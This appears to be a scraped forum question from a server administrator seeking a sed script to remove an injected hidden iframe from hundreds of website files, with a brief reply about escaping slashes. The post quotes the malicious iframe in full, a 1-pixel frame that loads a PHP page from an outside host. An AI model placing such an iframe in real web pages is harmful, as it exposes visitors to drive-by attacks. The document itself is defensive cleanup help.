Looking for script to delete iframe malware from linux server -
i'm looking script delete following iframe malware linux server:
<iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe>
it has infected hundreads of files on server on different websites. tried
grep -rl ishigo.sytes.net * | sed 's/ /\ /g' | xargs sed -i 's/<iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe>//g'
but outputs:
sed: -e expression #1, char 49: unknown option `s'
appreciate :)
cheers dee
unescape backslashes url in sed regex.
Comments
Post a Comment